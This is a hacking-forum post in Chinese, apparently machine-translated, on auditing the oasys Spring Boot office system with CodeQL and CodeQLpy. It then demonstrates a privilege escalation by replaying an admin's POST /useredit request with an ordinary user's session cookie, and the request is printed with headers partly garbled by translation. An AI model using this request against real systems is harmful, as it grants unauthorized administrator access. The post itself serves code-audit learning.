跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

精选回复

发布于

0x01 前言

黑盒测试期间可能会忽略一些潜在的漏洞和安全问题。代码审计可以直接查看代码,深入代码层面全面分析系统并检查其执行逻辑,从而发现黑盒测试中难以发现的问题。 我个人最喜欢的代码审计方面是它能够扩大漏洞的范围。在当前的模块化开发环境中,开发人员经常编写工具类和库来实现代码重用和简化代码。当代码审计时发现某个工具类存在漏洞时,调用该工具类的所有方法中可能都存在相同的漏洞。我们只需回溯工具类的调用位置,就可以轻松找到多个漏洞。 有句话说“没有绝对安全的系统”。这里Yu9借用这句话来说明一点。无论我们在手工代码审计方面有多么扎实的技术背景、丰富的经验和敏锐的洞察力,仍然会存在一些局限性,比如可能的遗漏和错误。 为了克服这些限制,可以使用自动化代码审计工具来快速识别所有可疑漏洞的位置,从而提高审计的效率和准确性。然而,我们也需要认识到自动化工具的使用存在一些限制。它们依赖于已知的漏洞模式和规则,可能无法完全涵盖所有漏洞类型。因此,在进行代码审计时,手动审计和自动化工具相结合往往是一种更有效的方法,可以确保发现尽可能多的漏洞,提高审计的准确性。

0x02语句

请严格遵守网络安全法的相关规定! 本次分享主要是为了交流和学习。请不要将其用于非法目的。您将自行承担一切后果。 所有未经授权的网络攻击都是非法的,互联网不能游离于法律之外。

0x03 环境设置

审核系统

oasysoasys是一个OA办公自动化系统。 一个基于springboot框架开发的项目,mysql底层数据库,前端使用freemarker模板引擎,使用Bootstrap作为前端UI框架。与jpa、mybatis等框架集成。源代码:https://gitee.com/aaluoshan/oa_system 既然是springboot项目,只要打开idea,配置数据库,Maven就可以加载依赖并运行。

工具

CodeQL CodeQLpy1) CodeQl CodeQL 是一种语义代码分析引擎,可扫描代码库以查找漏洞。使用CodeQL,可以像查询数据一样查询代码。编写查询来查找漏洞的所有变体并对其进行处理,并分享个人查询。 CodeQl教程可以参考这位大师的文章:https://kiprey.github.io/2020/12/CodeQL-setup/ 2)代码QLpy CodeQLpy是一款基于CodeQL实现的自动化代码审计工具 项目地址:https://github.com/webraybtl/CodeQLpy

0x04源代码扫描

使用CodeQLpy工具扫描源代码。 1)初始化数据库,这里直接通过源码来生成数据库,所以不需要-c参数 python main.py -t D:\\Desktop\\oa\_system-master image-20240131011041888 2)生成数据库。如果有任何错误,请忽略它们。最后只需要看到“数据库创建成功”即可。 codeql 数据库创建out/database/oa\_system-master --language=java --source-root='D:\\Desktop\\oa\_system-master' --command='D:\\Desktop\\CodeQLpy-master\\out\\decode/run.cmd' --overwrite image-20240131011425604 3)检查漏洞 python main.py -d D:\\Desktop\\CodeQLpy-master\\out\\database\\oa\_system-master image-20240131011656603 image-20240131021755851 4)最终会生成:csv文件,路径CodeQLpy-master\out\result 可以看到结果还是很清晰的 来源:漏洞关键词 SourceFunction:漏洞所在的方法名称 SourcePath:漏洞所在文件地址 image-20240131022021631

0x05漏洞分析

01。垂直覆盖获取超级管理员权限

image-20240131035751829 这块已经给出了有风险的代码地址和方法名,快速的定位漏洞点。这里我们全局搜索(ctrl+shift+f) 全局搜索123456,定位到oa_system-master\src\main\java\cn\gson\oasys\controller\user\UserController.java image-20240131012133698 看了代码才知道这个控制器是初始化用户的功能,并给出了默认密码123456。 image-20240131013746637 经过查找,发现是用户管理模块中的一个新功能。 image-20240131014119460 添加新用户捕获数据包 image-20240131014551587 image-20240131014723901 接下来登录一个普通用户的账号、可以看到该用户是没有用户管理此功能的。 捕捉他的会话 image-20240131013042054 使用普通用户的session来替换管理员账户捕获的数据包中的session。注意:身份证格式要规范,我用的自己的不好展示了。 image-20240131014801196 使用修改下边这个数据包的话要身份证哈idCard参数 POST /useredit HTTP/1.1 主机: 127.0.0.1 sec-ch-ua-mobile:0 Accept-Encoding: gzip、deflate、br Sec-Fetch-Dest: iframe 接受语言: zh-CN,zh;q=0.9 Sec-Fetch-Mode: 导航 引用者: http://127.0.0.1/useredit Cookie: JSESSIONID=CA902F7BBA9E186241CC19593B034F47 升级不安全请求: 1 缓存控制:最大年龄=0 sec-ch-ua-platform: 'Windows' Sec-Fetch-Site: 同源 sec-ch-ua: '不是\_品牌';v='8', 'Chromium';v='120', 'Google Chrome';v='120' Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-User:1 来源: http://127.0.0.1 Content-Type: 应用程序/x-www-form-urlencoded User-Agent: Mozilla/5.0(Windows NT 10.0;Win64;x64)AppleWebKit/537.36(KHTML,如Gecko)Chrome/120.0.0.0 Safari/537.36 内容长度: 317 userName=testamp;userTel=14444444444amp;realName=%E5%BC%A0%E4%B8%89amp;eamil=14444444444%40qq.coma mp;地址=%E6%B2%B3%E5%8D%97amp;userEdu=%E6%9C%AC%E7%A7%91amp;学校=%E9%83%91%E5%A4%A7amp;idCard=xxxxx

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。